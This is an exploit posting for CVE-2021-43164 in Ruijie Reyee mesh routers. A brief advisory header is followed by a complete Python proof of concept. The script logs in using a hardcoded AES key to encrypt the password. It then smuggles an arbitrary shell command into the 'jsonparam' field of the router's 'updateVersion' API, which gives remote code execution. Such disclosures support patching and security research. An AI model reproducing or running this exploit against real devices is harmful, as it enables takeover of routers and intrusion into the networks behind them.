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Ruijie Reyee Mesh Router Remote Code Execution

Ruijie Reyee Mesh Router Remote Code Execution
Posted May 11, 2022
Authored by Minh Khoa

Ruijie Reyee mesh routers with ReyeeOS version 1.55.1915 EW_3.0(1)B11P35 and EW_3.0(1)B11P55 suffer from a remote code execution vulnerability.

tags | exploit, remote, code execution
advisories | CVE-2021-43164
SHA-256 | 9905dae507eb8530625d18dd769fb31462b102ba1ef93e4d98767d53ee920b23

Ruijie Reyee Mesh Router Remote Code Execution

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# Exploit Title: Ruijie Reyee Mesh Router - Remote Code Execution (RCE) (Authenticated)
# Google Dork: None
# Date: November 1, 2021
# Exploit Author: Minh Khoa of VSEC
# Vendor Homepage: https://ruijienetworks.com
# Software Link: https://www.ruijienetworks.com/resources/products/1896-1900
# Version: ReyeeOS 1.55.1915 - EW_3.0(1)B11P35 and EW_3.0(1)B11P55
# Tested on: Ruijie RG-EW1200, Ruijie RG-EW1200G PRO
# CVE: CVE-2021-43164

#!/usr/bin/python3

import os
import sys
import time
import requests
import json

def enc(PASS):
key = "RjYkhwzx$2018!"
shell = "echo '{}' | openssl enc -aes-256-cbc -a -k '{}' -md md5 2>/dev/null".format(PASS, key)
return os.popen(shell).read().strip()

try:
TARGET = sys.argv[1]
USER = sys.argv[2]
PASS = sys.argv[3]
COMMAND = sys.argv[4]
except Exception:
print("CVE-2021-43164 PoC")
print("Usage: python3 exploit.py <target> <user> <pass> <command>")
print("Example: python3 exploit.py 192.168.110.1 admin password 'touch /tmp/pwned'")
sys.exit(1)

endpoint = "http://{}/cgi-bin/luci/api/auth".format(TARGET)
payload = {
"method": "login",
"params": {
"username": USER,
"password": enc(PASS),
"encry": True,
"time": int(time.time()),
"limit": False
}
}

r = requests.post(endpoint, json=payload)
sid = json.loads(r.text)["data"]["sid"]

endpoint = "http://{}/cgi-bin/luci/api/wireless?auth={}".format(TARGET, sid)
payload = {
"method": "updateVersion",
"params": {
"jsonparam": "'; {} #".format(COMMAND)
}
}

r = requests.post(endpoint, json=payload)
print(r.text)

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